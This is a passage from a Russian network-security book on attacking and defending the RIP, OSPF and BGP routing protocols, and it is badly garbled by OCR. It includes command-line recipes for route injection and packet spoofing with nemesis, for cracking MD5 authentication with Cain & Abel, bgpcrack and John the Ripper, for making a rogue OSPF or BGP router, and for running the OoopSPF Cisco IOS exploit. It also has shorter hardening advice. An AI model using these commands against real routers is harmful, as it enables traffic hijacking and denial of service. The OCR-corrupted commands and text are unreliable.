- r  < R I P  r o u t i n g  d omai n >  

- а  < R I P  a d d  r e s s  fami ly> 

- R  < R I P  r o u t e  t a g >  

- i  < R I P  r o u t e  a d d  r e s s >  

- k  < R I P  n e two r k  add r e s s  mask>  

- h  < R I P  n e x t  h o p  add r e s s >  

- m  < R I P  m e t r i c >  

- Р  < Payload  f i l e >  

U D P  o p t i o n s :  

- х  < S o u rce  po rt>  

- у  < D e s t i n at i o n  po rt>  

I P  o p t i o n s :  

- S  < S o u  rce  I P  a d d  r e s s >  

- D  < D e s t i n at i o n  I P  a d d r e s s >  

- I  < I P  I D >  

-Т < I P  ТТ L> 

- t  <IP TOS> 

-F <IP f ra g m e n t a t i o n  o p t i o n s >  

- F [ D ] . [ М ] , [ R ] , [ o f f s e t ]  

- О  < I P  o p t i o n s  f i l e >  

D a t a  L i n k  O p t i o n s :  

- d  < E t h e  r n e t  device  name>  

- Н  < S o u rce  МАС  a d d r e s s >  

- М  < D e s t i n at i o n  М А С  a d d  r e s s >  
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Существеппым педостатком описаппых выше средств является то, 
что опи пе умеют отправлять RIР-пакеты с использовапием аутепти
фикации. Выходом может стать взлом аутептификации, по об этом 
мы поговорим чуть позже. 

2. 3. 8. Понижение версии протокола RIP 

При использовапии протокола RIP версии 1 аутептификация пе ис
пользуется, защита обеспечивается только посредством списков до
ступа. Обойти списки доступа можпо с помощью подделки IР-адреса 
источпика. Далее злоумышлеппику пеобходимо заставить маршру
тизатор использовать RIP версии 1. Сделать это можпо с помощью 
геператоров пакетов, папример такого, как nemesis: 

root@bt # n e m e s i s  r i p  -v  - с 1 -V  1 -S 1 9 2 . 1 6 8 .  6 6 . 1 0 2 -D 1 9 2 . 1 6 8 .  6 6 . 2 0 2  

с 26 1 1 #  340408 : 8w6d : R I P : i g n o red  v 1  p a c k e t  f rom  1 9 2 . 1 6 8 . 6 6 . 1 02 ( i l l e g a l  v e r s i o n ) 
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Стоит отметить, что па совремеппых маршрутизаторах Cisco под 
управлепием операциоппой системы IOS этот метод пе работает. 

2. 3. 9. Взлом хеша MD5 

Даже если используется RIP версии 2 с шифровапием MDS,  адми
пистраторам пе стоит расслабляться. MDS можпо взломать с по
мощью утилиты Cain & Abel (http://www.oxid.it/cain.html) .  

В рабочем окпе программы пеобходимо открыть опцию Routing. 
Затем запустить прослушивапие трафика, пажав Start/Stop Sniffer 
(рис. 1 4) .  Когда спиффер получит обповлепие RIP, мы сможем полу
чить детальпую ипформацию о передающем маршрутизаторе, аутеп
тификации и версии протокола. 

192 .168 , 66.:Ю� 
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1 92 .1€6,66.19: 
1 92 .l<if.Э . 66. l l � 
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D 
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1 92 . 168 , 66. 19: 
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Рис. 14. Прослушнванне R/Pv2 с помощью Cain 

В случае если используется МD5-аутептификация, соответствую
щая ипформация будет выведепа С&А, и для пачала взлома пеоб
ходимо пажать правую кпопку мыши и выбрать Send То Cracker 
(рис. 15) .  

Для выбраппого маршрутизатора следует указать метод взлома. 
В общем случае это Brute-Force Attack (рис. 1 6) .  
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Время, которое может занять взлом, напрямую зависит от аппарат
ной мощности используемого компьютера. 

Стоит отметить, что как сам протокол маршрутизации RIP счи
тается устаревшим, так и приведенные выше атаки нельзя назвать 
свежими. Так что хотя вероятность их успешной реализации доста
точно мала, не стоит забывать о теоретической возможности их осу
ществления. 

2. З. 1 0. Обеспечение безопасности протокола RIP 

Прежде всего, говоря о безопасности протокола RIP, следует заме
тить, что для него требуются все те же меры защиты, что и описанные 
в разделе, посвященном безопасности статической маршрутизации. 
В дополнение к этим мерам можно повысить безопасность RIP с по
мощью следующих средств : 

О проверка подлинности RIP версии 2;  
О задание равных маршрутизаторов ; 
О фильтры маршрутов ;  
О соседи. 

Рекомендую использовать эти средства в комплексе. 
Начнем с проверки подлинности RIP. Злоумышленник может 

передать маршрутизаторам, участвующим в обмене маршрутной ин
формацией но протоколу RIP, неверный маршрут с целью заставить 
передавать весь трафик через контролируемый им узел (пример при
водился выше).  Чтобы предотвратить изменение маршрутов RIP не 
имеющими на это разрешения RIР-маршрутизаторами в среде с про
токолом RIP версии 2, можно настроить интерфейсы маршрутизато
ра, использующие RIP v2, на простую парольную проверку подлин
ности. Получаемые объявления RIP с паролями, не совпадающими 
с заданным, будут отклоняться. Учтите, что пароли пересылаются 
в виде обычного текста. Любой пользователь, имеющий средство про
слушивания сети, например какой-либо сниффер (но аналогии с тем 
примером, что мы использовали в разделе, посвященном концентра
торам),  может перехватывать объявления RIP v2 и просматривать 
содержащиеся в них пароли. 

Передавать пароли можно в открытом виде и в виде MDS .  По 
умолчанию используется открытая аутентификация. Однако я на
стоятельно рекомендую в промышленных сетях применять исклю
чительно аутентификацию MDS.  

В качестве примера приведу настройку аутентификации но MDS 
на маршрутизаторах Cisco: 
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R o u t e r ( c o n f i g - i f ) #  ip r i p  a u t h e n t i c a t i o n  key - c h a i n  name - o f - c h a i n  

R o u t e r ( c o n f i g - i f ) #  i p  r i p  a u t h e n t i c a t i o n  m o d e  { text 1 m d 5 }  

В этом примере необходимо указать цепочку ключей, имя цепочки, 
а также тин аутентификации: открытая или MDS. Более подробную 
информацию но настройке аутентификации в RIP можно узнать на 
сайте разработчика cisco .com/. 

Задание равных маршрутизаторов 
На каждом RIР-маршрутизаторе можно задать список маршрутиза
торов (но IР-адресам),  от которых должны приниматься объявления 
RIP. По умолчанию принимаются объявления RIP от всех источни
ков . Задание списка равных RIР-маршрутизаторов позволяет не при
нимать объявления RIP от нежелательных маршрутизаторов. 

Фильтры маршрутов 
Можно настроить фильтры маршрутов на каждом интерфейсе RIP, 
чтобы в таблицу маршрутизации могли добавляться только те марш
руты, которые ведут к достижимым адресам сетей в объединенной 
сети. Например, если в организации используются подсети локаль
ной сети с адресом 1 0 .0 .0 .0 ,  то можно задействовать фильтрацию 
маршрутов ,  чтобы RIР-маршрутизаторы отклоняли все маршруты, 
кроме тех, которые связывают подсети сети 10.0.0 .0 .  

Соседи 
По умолчанию протокол RIP распространяет свои объявления с по
мощью широковещательной ( RIP версии 1 или RIP версии 2)  или 
многоадресной рассылки (только RIP v2) .  Можно ограничить обмен 
информацией о маршрутах только с соседними маршрутизаторами. 
Однако этот способ будет работать не со всеми моделями маршрути
заторов но причине особенностей реализации. 

Делается это с помощью следующей команды: 

R o u t e r ( co n f i g - ro ute r ) #  n e i g h bo r i p - ad d r e s s  

Протокол маршрутизации RIP обладает множеством недостат
ков . Прежде всего это ограничение в 15 подсетей между любыми 
двумя хостами. Данный недостаток не позволяет использовать RIP 
в больших сетях. Еще одним недостатком является необходимость 
пересылать каждые 30 секунд всю таблицу маршрутов . Это созда
ет дополнительную нагрузку на пропускную способность каналов 
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связи. Также этот нротокол неэффективен в сетях с каналами свя
зи, имеющими различную нронускную снособность, так как RIP не 
учитывает нри настроении маршрутов эту важную характеристику 
каналов связи. 

Более раснространенным на сегодняшний день нротоколом марш
рутизации является OSPF, к обсуждению которого мы и нереходим 
далее. 

2. З. 1 1 . Среды с протоколом OSPF 

Протокол маршрутизации OSPF ( Open Shortest Path First) лучше 
всего нодходит для динамических объединенных IР-сетей большого 
размера с множественными нутями. Как нравило, нротокол маршру
тизации OSPF иснользуется нри маршрутизации в корноративных 
сетях, содержащих в среднем 50 локальных сетей и несколько тысяч 
хостов. 

Для лучшего нонимания сравним RIP и O SPF. 
OSPF является нротоколом состояния канала (link-state), в отли

чие от RIP, являющегося нротоколом вектора расстояний ( distance
vector ) .  Каждый маршрутизатор обновляет свою таблицу маршру
тизации на основании векторов расстояний, которые он нолучает от 
своих соседей. 

При иснользовании нротокола состояния канала маршрутизатор 
не осуществляет обмена информацией о расстояниях со своими сосе
дями. Вместо этого каждый маршрутизатор активно нроверяет статус 
своих каналов , ведущих к каждому соседнему маршрутизатору, и но
сьmает эту информацию другим своим соседям, которые могут нанра
вить ноток данных в автономную систему. Каждый маршрутизатор 
нринимает информацию о состоянии канала и уже на ее основании 
строит нолную таблицу маршрутизации (рис. 1 7). 

l.S M bps 

1.5 Mbps 1.5 Mbps 

R I P  
Рис. 17. Прнмер сетн OSPF 
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В представленной на рисунке сети оптимальным между Source и 
Destination будет признан маршрут с двумя красными маршрути
заторами. Причиной тому являются более быстрые каналы на этом 
маршруте. 

С практической точки зрения основное отличие заключается в том, 
что протокол состояния канала работает значительно быстрее, чем 
протокол вектора расстояний. Нужно отметить, что в случае прото
кола состояния канала значительно быстрее осуществляется сходи
мость сети. Под понятием сходимости ( converge) протокола обычно 
подразумевается стабилизация сети после каких-либо изменений, 
как, например, поломки маршрутизатора или выхода из строя канала. 

OSPF также отличается от RIP (как и многие другие протоколы 
маршрутизации) тем, что он использует непосредственно IP. Это 
означает, что он не использует UDP или ТСР. OSPF имеет собствен
ный идентификатор,  который устанавливается в ноле протокола 
(protocol) в IР-заголовке. 

Соответственно, и атаки на OSPF более сложны, чем на RIP. Ос
новные сложности заключаются в следующем: 

1. Маршрутизатору злоумышленника необходимо сэмулировать 
НЕLLО-накет, для того чтобы обмениваться с другими роуте
рами маршрутной информацией. 

2. Зависимость от иерархии маршрутизаторов , участвующих в об
мене маршрутной информацией OSPF. Роутеры, участвующие в 
обмене, могут иметь различный уровень в иерархической схеме 
маршрутизации. 

С учетом указанных сложностей перейдем к рассмотрению основ
ных атак на OSPF. 

Смысл данной атаки заключается в том, чтобы представить марш
рут, который проходит через машину злоумышленника, как обладаю
щий наибольшей пропускной способностью. Одним из критериев 
выбора оптимального маршрута в OSPF является метрика, вычис
ляемая но формуле 

метрика = reference bandwidth / link bandwidth, 

где reference bandwidth = 1 08; link bandwidth - пропускная способность 
канала. Например, для каналов в 100 Мб/с значение метрики равно 
1, для 10 Мб/с - 10 и т. д. 

Таким образом, злоумышленнику нужно установить значение мет
рики для своего маршрута равной 1, чтобы сделать маршрут прио
ритетным. 
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! Z e b ra  c o n f i g u  ration saved f rom  vty 

2005/08/ 1 6 0 1 : 2 2 : 4 1 

h o s t n ame l e g i t imate . o s p f d  

pas swo rd 8 p@sswO rd 

еnаЫе pas swo rd 8 Cb/yf F s I . a b q s  

l o g  f i l e  /va r/log/q u a g g a/ o s p f d . l og  

se rvice  adva n c e d -vty 

se rvice  passwo rd - e n c ry p t i o n  

i n t e rface  e t h O  

d e s c r i p t i o n  DMZ_Netwo r k  

i p  o s p f  a u t h e n t i c a t i o n  m e s s ag e - d i g e s t  

i p  o s p f  m e s s ag e - d i g e s t - key 1 m d 5  s e c ret_key 

i n t e rface  e t h 1  

i n t e rface  1 0  

i n t e rface  t u n 1 0  

r o u t e  r o s p f  

o s p f  r o u t e r - i d  1 9 2 .  1 6 8 .  20 . 1 1 1  

r e d i s t  r i b u t e  ke r n e l  

r e d i s t  r i b u t e  с а п  n e c t e d  

n e two r k  1 9 2 . 1 6 8 . 20 . 0/24  a rea  О . О . О . О  

a re a  О . О . О . О  a u t h e n t i c a t i o n  m e s s ag e - d i g e s t  

l i n e  vty 

exe c - t i m e o u t  3 0  О 

Когда подключение к обмену маршрутами OSPF было успешно 
произведено, необходимо обязательно проверить текущее состояние 
маршрутной информации с помощью команды show ip opsf: 

l e g i t imate . o s p f d #  s h ow ip o s p f  

O S P F  R o u t i n g  P roc e s s , R o u t e r I D :  1 9 2 . 1 6 8 . 2 0 . 1 1 1  

S u ppo r t s  o n ly s i n g l e  TOS ( TOSO ) r o u t e s  

T h i s  i m p l e m e n t ation  c o n fo rms  to  R FC2328  

R FC 1 583Compat i b i l ity f lag  i s  d i s a Ь l e d  

O p a q u e C a p a b i l ity f lag  i s  d i s a Ь l e d  

S P F  s c h e d u l e  d e l ay 1 s ec s ,  H o l d  t i m e  betwe e n  t w o  S P F s  1 s e c s  

R e f  r e s h  time  r 1 О s e c s  

T h i s  r o u t e r i s  a n  AS B R  ( i n j e c t i n g  exte r n a l  r o u t i n g  i n fo rmatio n ) 

N u mbe r of exte r n a l  LSA 4 .  C h e c k s u m  S u m  Ox00 0 2 5 f 8 1  

N u mbe r of  opaq u e  A S  LSA О .  C h e c k s u m  S u m  ОхОООООООО 



N u mbe r of a re a s  attached  to t h i s  r o ute r :  1 

A r e a  I D :  О . О . О . О  ( Ba c k bo n e ) 

АТАКИ НА СЕТЕВОМ УРОВ Н Е  81  

N u mbe r of  i n t e rfaces  i n  t h i s  a re a : Total : 1 ,  Active : 

N u mbe r of f u l ly adj a c e n t  n e i g h b o r s  i n  t h i s  a re a : 2 

A r e a  h a s  m e s s a g e  d i g e s t  a u t h e n t i c a t i o n  

S P F  a l g o r i t h m  exe c u t e d  29  t i m e s  

N u mbe r of  L S A  9 

N u mbe r of r o ute r LSA 4 .  C h e c k s u m  S u m  Ох000 2 5 1 6 6  

N u mbe r of  netwo r k  L S A  1 .  C h e c k s u m  S u m  Oxffff90fa  

N u mbe r of  s u m m a ry LSA 2 .  C hecksum  S u m  Ох000 1 6 6 с 2  

N u mbe r of  AS B R  s u mma ry L S A  2 .  C h e c k s u m  S u m  Ох000 1 47 1 3 

N u mbe r of N SSA  LSA О .  C h e c k s u m  S u m  ОхОООООООО  

N u mbe r of  opaq u e  l i n k  LSA О .  C h e c k s u m  S u m  ОхОООООООО  

N u mbe r of  opaq u e  a re a  LSA О .  C h e c k s u m  S u m  ОхОООООООО  

Далее следует добавить соответствующие маршруты: 

bt / # ip r o u t e  a d d  64 . 1 0 0 . 0 . 0/ 1 4  dev  e t h O  

bt / # i p  r o u t e  a d d  1 28 .  1 0 7 .  О .  0/ 1 6 d e v  e t h O  

Убедимся, что данные маршруты успешно добавились в О SРF
обмен: 

l e g i t imate . o s p f d #  sh ip o s p f  r o ute  

============ O S P F  exte r n a l  r o uti ng  tаЫе =========== 

Е2  64 . 1 00 . 0 . 0/ 1 4  [ 1 0/20 ] tag : О 

via  1 9 2 . 1 68 . 6 6 . 1 1 1 .  e t h O  

Е2  1 28 . 1 07 . 0 . 0/ 1 6 [ 1 0/20 ] tag  О 

via  1 9 2 . 1 68 . 6 6 . 1 1 1 .  e t h O  

Как вы поняли, 192 . 1 68.66. 1 1 1  - это машина злоумышленника. 
Для реализации данной атаки можно также воспользоваться уже 

упоминавшейся ранее утилитой Nemesis, вернее ее модификацией, 
предназначенной специально для работы с O SPF. Вот список опций 
данной утилиты: 

bt / # . / n e me s i s - o s p f  

O S P F  Packet  I n j e c t i o n  - =The  N EM E S I S  P roj ect  1 . 1  

I 1 9 9 9 . 2000  o b e c i a n  <obecian@c e l e rity . ba rt o l i . o rg >  

O S P F  u s ag e : 

. / neme s i s - o s p f [ - v ]  [ o p t l i s t ]  

O S P F  Packet  Type s : 

- р < O S P F  P rotocol>  

- р Н  H E L LO ,  - pD  DBD ,  - p l  LSR . - p U LSU . - p R  LSA ( ro u t e r ) , 

- p N  LSA ( n etwo r k ) , - рМ  LSA ( s umma ry ) , - рА LSA ( AS )  
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OSPF H E LLO  o p t i o n s :  

- N  < N e ig h b o r  R o u t e r Ad d re s s >  

- i  > Dead  R o u t e r I n t e rva l >  

- 1  < O S P F  I n t e rva l >  

O S P F  D B D  o p t i o n s :  

- z  < МАХ DG RAM L e n g t h >  

- х  < Exc h a n g e  Туре>  

O S P F  LSU  o p t i o n s :  

- В  < n u m  o f  LSAs t o  bcast>  

O S P F  LSA related  o p t i o n s :  

- L  < ro u t e r i d >  

- G  < LSA a g e >  

O S P F  LSA_RTR o p t i o n s :  

- u  < LSA_RTR n u m >  

- у  < LSA_RTR r o u t e r type>  

-k  < LSA_RTR r o u t e r data>  

O S P F  LSA_AS_ EXT o p t i o n s :  

- f  < LSA_AS_EXT fo rwa rd add r e s s >  

- g  < LSA_AS_EXT t a g >  

O S P F  o p t i o n s :  

- m  < O S P F  Met r i c >  

- s  < S e q u e n c e  N u m b e r>  

- r  <Adve rti s i n g  R o u t e  r Add r e s s >  

- n  >OS P F  N e t m a s k> 

- О  < O S P F  O p t i o n s >  

- R  < O S P F  R o u t e  r i d >  

- А  < O S P F  A rea  i d >  

- Р  < Payload  F i l e  ( B i n a ry o r  ASC I I ) >  

( - v VER BOSE  packet  s t r u c t  t o  std o u t ) 

I P  O p t i o n s  

- S  < S o u  rce  A d d  r e s s >  

- D  < D e s t i n at i o n  Ad d re s s >  

- I  < I P  I D >  

- Т < I P  ТТ L> 

- t  < I P/O S P F  t o s >  

- F  < I P  f ra g >  

- о  < I P  O p t i o n s >  

D a t a  L i n k  O p t i o n s :  

- d  < E t h e r n e t  Device>  

- Н  < S o u rce  МАС  Ad d re s s >  

- М  < D e s t i n at i o n  МАС Ad d re s s >  

Необходимо указать источник, получатель, протокол и соответ
ствующие опции. Например, для отправки поддельного Неllо-накета 
OSPF Neighbor маршрутизатору необходимо выполнить следующую 
команду: 

backt rac k / # . /n e me s i s - o s p f  -v - р Н  -N 1 28 . 1 0 7 . 0 . 1 
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Альтернативной реализацией данной атаки может стать генерация 
ноддельных обновлений OSPF LSA, которую также можно осущест
вить с номощью nemesis: 

backt rac k / # . /neme s i s - o s p f  -v -pR LSA 1 2 8 . 1 07 . 0 . 1 

Становимся Designated или Backup Designated маршрутизатором 
OSPF 

В средних и крунных сетях, иснользующих нротокол OSPF, нри
меняется онределенная иерархия маршрутизаторов. В крунных сетях, 
иснользующих десятки или даже сотни маршрутизаторов, ноддержка 
актуальной информации является делом, весьма ресурсоемким. Для 
разделения задач настроения маршрутных таблиц и снижения нагруз
ки на устройства иснользуется иерархия. На верхнем уровне такой 
иерархии, как нравило, нрисутствует наиболее нроизводительный 
маршрутизатор. Такой маршрутизатор именуется Designated router. 
Назначение данного устройства - эффективная нередача актуальной 
маршрутной информации всем маршрутизаторам, участвующим в об
мене OSPF (рис. 1 8) .  

Физи ческое 

подкпючение 
марш рутизаторов 

А вот та кой 

логический вид 
будет иметь ОSР F-сеть 
после выбора 
D R-ма рш рутизатора 

R1 

R1 

R2 

R2 

R4 RS 

R4 

RЗ (DR) 

Рис. 18. Наэначенне Designated Router 

RЗ 

(DR) 
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В случае выхода из строя Designated router его должен заменить 
Backup designated router, то есть резервный маршрутизатор верхнего 
уровня. 

Designated router выбирается в результате голосования на основа
нии приоритета маршрутизатора и его IР-адреса. 

Злоумышленник может попытаться стать этим designated router. 
В случае если DR назначен приоритет 255,  а BDR - 254, выиграть 

выборы невозможно. Однако многие администраторы не используют 
максимальных значений приоритетов, назначая DR и BDR 1 00 и 1 0, 
или 2 и 1 соответственно. Иногда DR и BDR назначаются наиболее 
подходящие IР-адреса. 

Таким образом, злоумышленнику, для того чтобы сделать свой роу
тер designated, достаточно установить, каким образом производится 
выбор D R, и, исходя из этого , либо подделывать приоритет, либо 
IР-адрес. 

В Quagga установить приоритет можно с помощью следующей 
команды: 

ip o s p f  p r io rity  2 5 5  

В случае, если DR и BDR имеют максимальные значения приори
тетов, то можно попробовать вывести их из строя с помощью различ
ных сетевых атак, приведенных в этой книге, и затем уже попытаться 
подставить свой поддельный маршрутизатор. 

Взлом OSPF MD5 

Для защиты протокол OSPF использует МD5-аутентификацию. Со
ответственно, но аналогии со взломом MD5 в протоколе RIP здесь 
эту защиту также можно взломать. 

Для этого потребуется Cain & Abel. Сам процесс взлома аналоги
чен описанному в разделе, посвященном взлому RIP, поэтому здесь 
мы его описывать не будем. 

Атака на OSPF с помощью экснлоита OoopSPF Exploit. В марш
рутизаторах Cisco с операционной системой IOS версий 1 1 . 2 ,  1 1 .3 
и 1 2 . 0  возможно переполнение буфера при получении большого 
числа O SPF HELLO пакетов. Концепция, реализующая данную уяз
вимость, представлена на сайте http://www.downloads.securityfocus. 
com/vulnerabilities/exploits/OoopSPF.c. 

a r h o n t u s  / # pe r l  IOStac k . p l  - d  1 9 2 . 1 6 8 . 6 6 . 2 02  - р * " * * *  - е  * * * * * *  - r  stac kd u m p  
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I O SSTR I N G : I OS  ( tm )  С2600  S o ftwa re  ( C 2600 - I K903S 3 - M ) ,  Ve r s i o n  1 2 . 3 ( 6 ) , 

R E LEAS E SO FTWAR E ( fc 3 ) 

IMAG E :  

M E M O R Y : 

AR RAY : 

f l a s h : c 2600 - i k9 o 3 s 3 - m z . 1 2 3 - 6 . b i n  

6 1 440К/409 6 К  

82д7Е 2 1 0 

P I O  R EC O R O  

< s ki p >  

STAC K R ETU R N A  R ETU R N V  NAME  

9 0  8 3 0 C F F 0 4  

1 5 0 8 2 0 2 9 0д8 

< s ki p >  

8 3 1  FC080  

8 3 1 FFCAO 

8 3 1 fcd84  

8 3 1 ffca4  

80446 050  

80446050  

O S P F  H e l l o  

O S P F  R o u t e  r 

a r h o n t u s  / # . /Ooo p S P F  

P h e n o e l i t  O o o p S P F  

C i s c o  IOS  O S P F  r e m o t e  e x p l o i  t ( 1 1 . 2 .  - 1 2 .  О )  

( С )  2002/2003  FX o f  P h e n o e l i t  < fx@p h e n oe l it . d e >  

U s a g e : 

. /OoopSPF  - s  < s rc n e t >  - n  < s rc  mask>  - d  <ta rget  rt r i p >  - f  < f i l e >  -t <ta rg#>  

Optio n s : 

- s  < s rc n e t >  U s e  t h i s  n e two r k  a s  s o u rce  ( a s  i n  ta r get  c o n f i g ) 

- n  < s rc m a s k> U s e  t h i s  n e t m a s k  a s  s o u rce  ( a s  i n  ta r get  c o n fig ) 

- d  <ta rget>  T h i s  i s  t h e  ta r get  r o ute r i n t e rface  IP  

-f  < f i l e >  U s e  t h i s  a s  t h e  new  c o n f i g  fo r t h e  r o u t e  r 

- t  # U s e  t h i s  ta r get  v a l u e  set  ( s e e  below )  

- а  < a rea>  U s e  t h i s  O S P F  a re a  

- v  Ве ve r b o s e  ( - vv o r  -vvv recomme n d e d ) 

- О  Oi rected  attack  ( u n i c a s t ) fo r 1 1 . х  t a rg e t s  

- Т  Te s t  o n l y  - d o n ' t  s e n d  

ba rely  u sed  o p t i o n s  - - -

- L  # N u mbe r of  n e i g h b o r s  to  a n n o u n c e  ( ove rflow  s i ze ) 

- F  # Sta  rt o f  d ata  ( se e n  r e v e  r se  to  o v e  r f low )  

- S  # N O P  s l e e t  

Теперь перейдем к вопросам безопасности протокола маршрути
зации O SPF. 

2. З. 12. Безопасность протокола OSPF 

В дополнение к тем мерам защиты, которые были перечислены в раз
деле, посвященном безопасности статической маршрутизации, мож
но повысить безопасность протокола OSPF с помощью следующих 
средств: 

О проверка подлинности; 
О фильтры внешних маршрутов на граничных маршрутизаторах 

автономной системы. 
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Проверка подлинности 
По умолчанию интерфейсы маршрутизатора, участвующие в обме
не OSPF, настраиваются на отправку простого пароля � 1 2345678� 
в сообщениях приветствия OSPF. Пароль помогает предотвратить 
нежелательное изменение данных OSPF не имеющими на это раз 
решения ОSРF-маршрутизаторами сети. Пароль пересылается в виде 
обычного текста. Любой пользователь, имеющий средство прослу
шивания сети, например сниффер, может перехватывать сообщения 
приветствия OSPF и просматривать содержащиеся в них пароли. 

Фильтры внешних маршрутов на граничных 
маршрутизаторах автономной системы 
Чтобы предотвратить проникновение в автономную систему OSPF 
нежелательных маршрутов, полученных из  внешних источников, та
ких как маршруты RIP или статические маршруты, можно настроить 
на граничных маршрутизаторах автономной системы фильтры марш
рутов.  Фильтры маршрутов могут отклонять либо все маршруты, 
соответствующие заданному списку, либо все маршруты, не соответ
ствующие этому списку. 

Защита от затопления LSА-пакетами 
Возможна ситуация, когда злоумышленник попытается @атонить� 
ОSРF-маршрутизатор сообщениями о состоянии канала LSA ( Link 
State Advertisement). Эти сообщения бывают различных типов. Хакер 
может начать отправлять данные сообщения в большом количестве 
и тем самым вызвать замедление или даже полную неработоспособ
ность маршрутизатора. 

В зависимости от тина сети защититься от LSА-затонления можно 
двумя способами. Для типов broadcast, nonbroadcast и point-to-point
ceтeй можно заблокировать флудинг на O SPF. 

В сетях point-to-multipoint вы можете заблокировать затопление 
для определенных соседей. 

Вот примеры для обоих случаев: 

Блоки рование дл я интерфейса 

i n t e rface  e t h e r n e t  О 

o s p f  database - f i l t e r a l l  o u t  

Блоки рование соседа 1 . 2 . З . 4  
r o u t e r o s p f  1 0 9 

n e i g h b o r  1 . 2 . 3 . 4  database - f i l t e r a l l  o u t  
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Протоколы динамической маршрутизации RIP и O SPF применя
ются только в локальных сетях. В глобальных сетях, в силу их особен
ностей, используется протокол BGP. Рассмотрим его более подробно. 

2. З. 1 1 . Среды с протоколом ЗSPF 

Протокол междоменной маршрутизации BGP ( Border Gateway 
Protocol) версии 4.0 сейчас повсеместно используется для маршру
тизации в глобальной сети Интернет. Все протоколы маршрутизации, 
о которых мы говорили ранее, предназначены для осуществления 
маршрутизации в локальных сетях. Использовать RIP или даже OSPF 
в глобальной сети невозможно в силу ряда ограничений, присущих 
глобальной сети. Одним из основных таких ограничений является то, 
что в глобальной сети Интернет нет единой точки администрирова
ния, единого управления, как это обычно бывает в крупных корпо
ративных сетях. Различные сегменты Интернета находятся в разных 
государствах, принадлежат различным провайдерам, что накладывает 
свой отпечаток на требования к осуществлению маршрутизации. 

Так как на сегодняшний день протокол BGP используется для 
маршрутизации в глобальной сети Интернет, мы уделим много вни
мания вопросам безопасности в данном протоколе. Но сначала по
говорим об устройстве этого протокола. 

Отличием BGP от других протоколов динамической маршрути
зации является то, что он предназначен для обмена информацией 
о маршрутах не между отдельными маршрутизаторами, а между 
целыми автономными системами и поэтому, помимо информации 
о маршрутах в сети, переносит также информацию о маршрутах на 
автономные системы. BGP не использует технических метрик, а осу
ществляет выбор наилучшего маршрута, исходя из правил, приня
тых в сети. Тут стоит отметить, что очень многие узлы в Интернете 
пропускают через себя значительный транзитный трафик, который 
ограничивает возможности непосредственных клиентов узла. Как 
правило, этот трафик никак не оплачивается. Администраторы мо
гут в рамках протокола BGP существенно ограничить или даже ис
ключить такой транзитный трафик, но они обычно этого не делают, 
понимая, что их клиенты создают такой же транзитный трафик для 
других узлов. Эгоистичное поведение администраторов развалило бы 
сеть Интернет на ряд враждующих феодальных крепостей. Однако 
некоторые российские провайдеры используют возможности BGP 
для борьбы со своими конкурентами, в частности для ограничения 
транзитного трафика от своих конкурентов.  В качестве примера но-
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добной �конкуренции� можно привести тот факт, что при обращении 
с узла, находящегося в одном районе Москвы, к узлу, находящемуся 
в другом районе, трафик может идти через Финляндию или Шве
цию. То есть московским провайдерам проще договориться но обмену 
трафиком с иностранными партнерами, чем со своими же соседями. 

Рассмотрим примеры основных атак на протокол BGP. 

2. З. 14. Атака BGP Router Masquerading 

Прежде всего взломщик должен перехватить ВGР-накеты для опре
деления необходимых параметров для настройки поддельного марш
рутизатора. Если используется Quagga, то файл конфигурации назы
вается bgpd.conf.sample и находится в каталоге /etc/quagga/samples. 
Конфигурация поддельного роутера определяется теми целями и 
задачами, которые ставит перед собой злоумышленник. Например, 
должны указываться приоритетные маршруты, маски сетей, предпоч
тительные веса маршрутов, информация об автономных системах и 
т. д. 

Помимо Quagga, существует множество бесплатных решений с от
крытым исходным кодом для работы с BGPv4. Их можно исполь
зовать для развертывания поддельного маршрутизатора. Подобные 
программы можно найти на сайте http: //www.bgp4.as/tools. 

Далее необходимо вывести из строя целевой роутер B GP с по
мощью описанных в книге атак. Следует запустить поддельный 
роутер,  например с помощью команды bgpd -d. В результате зло
умышленник сможет �отравить� маршрутные таблицы, используе
мые в BGP. Однако не стоит забывать, что при этом многие легальные 
маршруты станут недоступными. Все это необходимо учитывать при 
построении атаки. 

2. З. 1 5. Атаки на MD5 для BGP 

Так же как и в описываемых ранее протоколах маршрутизации, в BGP 
используется механизм аутентификации MDS в соответствии с до
кументом RFC 2385 �Protection of BGP Sessions via the ТСР MDS 
Signature Option� . Каждый сегмент аутентифицируется 1 6-битным 
хешем MDS для следующих нолей: 

О ТСР-нсевдозаголовок (в следующем порядке: source IP address, 
destination IP address, zero-padded, номер протокола и длина 
сегмента) ; 

О ТСР-заголовок, исключая ТСР-онции. 
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В целом вся информация, которая требуется злоумышленни
ку для подсчета аутентификационного хеша MDS ,  представлена 
в ТСР-накете, исключая разделяемый секрет ( Shared key), который 
хакер может попытаться взломать с помощью подбора но словарю 
с помощью утилиты bgpcrack из пакета CIAG BGP. 

Bgpcrack может работать как в режиме онлайн, та и офлайн. В ре
жиме онлайн осуществляется �бомбардировка� целевого маршру
тизатора ТСР-сегментами с SУN-флагом и МDS-сигнатурами, сгене
рированными с использованием различных паролей. Если сигнатура 
подходит, то маршрутизатор ответит SYN-ACK Это не самая эффек
тивная методология атаки, поскольку она требует больших затрат 
времени и сетевых ресурсов. Данный вид рекомендуется только для 
�слепых атак�. Также для взлома MDS может использоваться извест
ная утилита jоhn the Ripper. Комбинация ciag-bgp-tools для генера
ции ТСР-накетов и John the Ripper для осуществления взлома BGP 
позволит произвести его онлайн. Ниже приведен пример, в котором 
небольшой скрипт, написанный на Perl tcp-sig-crack.pl, используется 
для осуществления атаки: 

j o h n  - wo rd f i l e : /path_to_a_d i c t i o n a ry_f i l e /  d i c t i o n a ry . txt - s t d o u t  1 

exam p l e s/tc p - s i g - c rack . pl - S  < s o u rce  I P >  - D  <ta rget  I P >  - - d po rt b g p  - - syn  

Гораздо лучше использовать bgpcrack офлайн для взлома ВGР
накетов, перехваченных с помощью сниффера. Вот небольшой при
мер: 

a r h o n t u s #  . / b g p c rack  - r  bg ppacket s . pcap  -w d i c t i o n a ry - f i l e  po rt b g p  

9 0  f rames  h ave been  p ro c e s s e d . 

The re a re 73 ТСР s e g m e n t s  with  M D 5  s i g n a t u r e s . 

U s i n g  6720  byt e s  fo r sto rage  of M D 5  data . 

Fo u n d  а match  i n  f rame 5 .  

P as swo rd i s  ' s ec ret b g p ' .  Вуе . 

2. З. 1 6. «Слепые» DоS-атаки 
на ВGР-маршрутизаторы 

Слепыми мы будем называть те атаки, которые не требуют каких-ли
бо дополнительных знаний, кроме IР-адреса ВGР-маршрутизатора. 
Простейшим сценарием такой DоS-атаки является SYN flood на порт 
ТСР 179.  Для реализации подобной атаки на промышленный марш
